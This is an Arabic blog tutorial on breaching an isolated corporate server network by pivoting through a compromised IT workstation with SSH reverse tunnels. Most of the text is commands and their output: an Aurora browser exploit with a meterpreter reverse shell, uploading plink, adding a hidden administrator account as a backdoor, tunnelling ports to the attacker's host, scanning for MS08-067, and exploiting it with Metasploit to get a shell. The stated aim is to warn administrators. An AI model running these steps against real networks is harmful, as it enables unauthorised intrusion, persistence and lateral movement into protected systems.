الكاتب: صبري صالح | يوم: 12 أغسطس, 2010 | التعليقات: 27 | القراءات: - عدد المشاهدات 16,891 [toc]
كثيرا ما نتحدث عن الحماية مع أشخاص تقنيين ولا يشترط كل إنسان تقني أن يكون مهتم بالحماية حتى و إن كان مهندس أنظمة أو مهندس شبكات أو كلاهما.
فعندما نبدأ الحديث عن حماية الـ Enterprise خاصة نجد الجميع يٌطَمئن نفسه بأن شبكته معزولة عن الإنترنت و أن فريق العمل محمي خلف NAT و Firewall ويظن بهذا أنه يستطيع أن يستريح من عناء إنشاء تلك الشبكة الرائعة و الأمنة (في نظره). موضوعنا اليوم هو إثبات خطأ هؤلاء و خطورة هذا التفكير على الشركات و خاصة المتوسطة و الكبيرة الحجم.
مقدمة
كما ذكرنا أنفا أن عزل الشبكات عن الإنترنت لا يعني أنها آمنة و أنه لن يستطيع أن يصل إليها أحد عبر الإنترنت.
سيكون بطل المهمة هو استعمال تقنية النفق عن طريق الـ SSH أو SSH Tunnels . سنرى في هذا التكنيك كم هو رائع و خطير عند استخدامه لأغراض أخرى.
إليكم رسمة الشبكة التي سنخترقها اليوم.
شكل الشبكة الخارجي أعتقد وضع هذه الشبكة موجود أو حتى ما يشاببه أو قريب منه جدا و بكثرة ,,
الشبكة 10.0.0.0/8: سنفترض أنها الإنترنت أو الشبكة الخرجية, و هي مكان الخطر المعروف
الشبكة 192.168.28.0/24: هي شبكة الموظفين في الشركة وهم قسم الـ IT و يستطيعون الوصول للإنترنت, لكنهم خلف Firewall/NAT
الشبكة 172.16.0.0/16: هي شبكة الخوادم وهي الشبكة المعزولة عن الإنترنت تماما.
جهاز موظف IT جهاز أحد موظفين الـ IT: يمتلك كرتين شبكة و يستطيع الوصول إلى الإنترنت , يظهر ذلك من عملية الـ ping
Non Routable Machine صورة من أحد السيرفرات: له كرت شبكة واحد متصل بالشبكة المعزولة عن الإنترنت
بداية المهمة ! , التسلل إلى الداخل
و بطريقة أو أخرى استطعنا أن نخترق جهاز أحد موظفين الـ IT (هنا تكمن قوة جمع المعلومات و الاستفادة منها و التلاعب بالهندسة الاجتماعية العكسية)
سنفترض أننا اخترقنا جهازه -والذي له اتصال بالانترنت- بأي نوع من أنواع الاختراق و لنفترض أنه Client Side Attack عن طريقة ثغرة متصفح الـ IE و هي aurora و كان الـ payload هو meterpreter و استخدمنا منه الاتصال العكسي reverse_tcp.
شكل اختراق الضحية IT PC ملاحظة: يفضل أن تقوم بنقل الـpayload إلى أي خدمة/عملية مضمونة لأن الضحية قد يغلق المتصفح و نخسر الاتصال به.
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
684 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
792 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
816 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
868 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
880 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1112 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1404 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1524 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1684 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1832 explorer.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\Explorer.EXE
200 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
440 VMwareTray.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareTray.exe
448 VMwareUser.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareUser.exe
492 afsloader.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsloader.exe
532 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
596 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe
676 VMwareService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMwareService.exe
756 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe
1380 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe
1912 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
3228 wscntfy.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\wscntfy.exe
1252 rundll32.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\rundll32.exe
meterpreter > migrate 1832
[*] Migrating to 1832...
[*] Migration completed successfully.
[*]
رائع,,
تأمين الطريق و مد الأنفاق!!
سنقوم الأن برفع ملف plink.exe إلى جهاز الضحية حيث Plink هو البرنامج الذي سنستخدمه لإنشاء النفق بيننا وبين جهاز الـ IT meterpreter > upload /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\\windows\
[*] uploading : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\
[*] uploaded : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\\plink.exe
[*]
ثم نقوم بالحصول على على shell / سطر الأوامر على جهاز الضحية
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.
C:\Documents and Settings\vm-user>net user KING sec4ar /add
net user KING sec4ar /add
The command completed successfully.
C:\Documents and Settings\vm-user>net localgroup administrators KING /add
net localgroup administrators KING /add
The command completed successfully.
C:\Documents and Settings\vm-user>
التعامل مع الأنفاق
حتى الأن لم أدخل في موضوعي!! ,,
إذن لنبدأ ..
قاعدة هامة: كل منفذ تريد أن تتصل به على جهاز الضحية يجب أن تنشئ له نفق خاص و يكون موجه لذلك المنفذ
أولا أريد أن أحصل (مثلا) على Remote Desktop على جهاز الضحية عن طريقة إنشاء نفق لكي أستطيع تجاوز الـFirewall/NAT الذي بيني و بينه والذي يمنعني من عمل اتصال مباشر من جهازي إلى جهازه.. لا تنسى أن اتصالنا السابق كان اتصال عكسي.
الأن جاء دور البرنامج الذي رفعناه على جهاز الصحية “Plink” , سأكتب الأمر ثم أشرحه
plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
القاعدة من الأمر السابق هي:
plink -l LUSER -pw PASSWORD -C -R LPORT:127.0.0.1:RPORT Attacking-Machine's_IP
حيث
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel
لنشرح تفاصيل الأمر من الرسمة التالية
NAT-Tunnel 1: هو العنوان الداخلي لجهاز الضحية, أي الـ Loopback
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.
الناتج
C:\Documents and Settings\vm-user>plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
plink -l root -pw 123456 -C -R 3389:127.0.0.1:3389 10.0.0.100
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 09:38:a7:fc:d8:52:3b:c0:1c:11:df:1e:83:98:b1:db
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
– للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netnetstat -nlpt
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1151/cupsd
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd
لاحظ الاتصال المنصت
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
رائع , تم إنشاء النفق بشكل صحيح ,,
– الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.
rdesktop 127.0.0.1 -g 800×600
RDC to NATed IT-Machine الشكل الخارجي لما عملناه هو
شكل الوصول إلى سطح مكتب الضحية تذكير: الخطوة السابق (الاتصال Remote Desktop): ليس شرطا فقد كانت لاختبار فعالية النفق. لكن الشرط هو إنشاء النفق نفسه لكي ننفذ بقية مهمتنا.
الزحف إلى العمق
الأن لنتعمق أكثر و هو محور موضعنا ,,
نريد أن نخترق جهاز في الشبكة التي لا تصل إلى الإنترنت أصلا(172.16.0.0/16), و التي يستطيع أن يصل إليها جهاز الضحية(192.168.28.128).
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا
– الأن نغلق الـremote Desktop
– و نخرج من الـنفق
– ثم نخرج من سطر أوامر الضحية أي نخرج من الشيل
سنعود الأن إلى سطرا أوامر الـ Meterpreter
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى
meterpreter> execute -f "plink -l root -pw 123123 -R 445:172.16.0.7:445 10.0.0.100"
Process 3520 created.
Tunnel to Non-Routable Machine الأمر هنا هو نفس فكرة الأمر السابق إلا أننا استبدلنا الـ localhost أو الـ 127.0.0.1 بـ عنوان الجهاز الأخر (172.16.0.7) و الذي لا يصل إلى الإنترنت
ملاحظة: إذا تبادر إلى ذهنك كيف عرفنا عنوان الجهاز الأخر , فأجيب و أقول تستطيع استبدال اتصالك بالـ Remote Desktop بـأن تقوم بعملية scan و هذا استغلال أخر لوجود النفق
للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 1151/5
tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd
الأن سنقوم بعملية مسح على منافذ الجهاز 172.16.0.7 و التي تمر كل بيناتا إليه عن طريق الضحية الأولى”192.168.28.128″ فيها بسبب النفق الجديد و أصبح هو الـ loopback لجهازنا , سأبدأ بفحص خدمة الـ smb عليه.
nmap --script smb-check-vulns.nse 127.0.0.1 -p 445
Starting Nmap 5.21 ( http://nmap.org ) at 2010-08-10 22:26 AST
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)
NSE Timing: About 0.00% done
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000088s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-check-vulns:
| MS08-067: LIKELY VULNERABLE (host stopped responding)
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
|_ SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
Nmap done: 1 IP address (1 host up) scanned in 50.71 seconds رائع ,, الخدمة تعمل عليه و المنفذ مفتوح و كما رأينا من عملية المسح أنه مصاب بالثغرة “MS08-067”
هيا لنطبق عليه هذه الثغرة, أيضا سنستخدم الـ Payload نوعه bind_tcp و سنجعل الـ RHOST هو الـ loopbak خاصتنا أي 127.0.0.1
لنرى هل سينجح في التطبيق أم لا,,
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp LPORT=7777 RHOST=127.0.0.1 TARGET=3 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Attempting to trigger the vulnerability...
[*]
رأينا أنه تم تنفيذ العملية بنجاح لكن ,, أين الـ shell الذي يطمح إليه أي مخترق ؟!؟
سنرى الأن ,,
لقد قمنا فعلا بالوصول و يفترض أن جهاز الضحية ينصت الأن إلى المنفذ 7777 . ما يجب عمله الأن هو إنشاء نفق جديد إلى جهاز الضحية الجديدة عبر الضحية الأولى ولكن المنفذ سيتغير من 445 إلى 7777 .
هيا بسرعة ,,
نذهب إلى الـ meterpreter المتصل بجهاز الضحية الأولى(192.168.28.128) و ننفذ التالي
execute -f "plink -l root -pw 123123 -R 7777:172.16.0.7:7777 10.0.0.100"
و كعادتنا سنتأكد من إنشاء النفق بشكل صحيح
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1051/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1339/sshd
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 1151/5
tcp 0 0 127.0.0.1:7777 0.0.0.0:* LISTEN 2009/11
tcp 0 0 0.0.0.0:37325 0.0.0.0:* LISTEN 1104/rpc.statd
tcp 0 0 :::111 :::* LISTEN 1051/rpcbind
tcp 0 0 :::22 :::* LISTEN 1339/sshd
tcp 0 0 ::1:445 :::* LISTEN 1151/5
tcp 0 0 ::1:7777 :::* LISTEN 2009/11
كما ذكرنا أن الضحية الجديدة الأن تنصت على المنفذ 7777 على أحر من الجمر – لنتصل بها الأن عن طريق الـ Netcat , طبعا الاتصال سيكون على 127.0.0.1 عبر النفق
nc -v 127.0.0.1 7777
Connection to 127.0.0.1 7777 port [tcp/cbt] succeeded!
و الشكل الخارجي لما عملناه سابقا لنصل إلى الشبكة الثانية
شكل اختراق الشبكة الثانية - الغير متصلة بالانترنت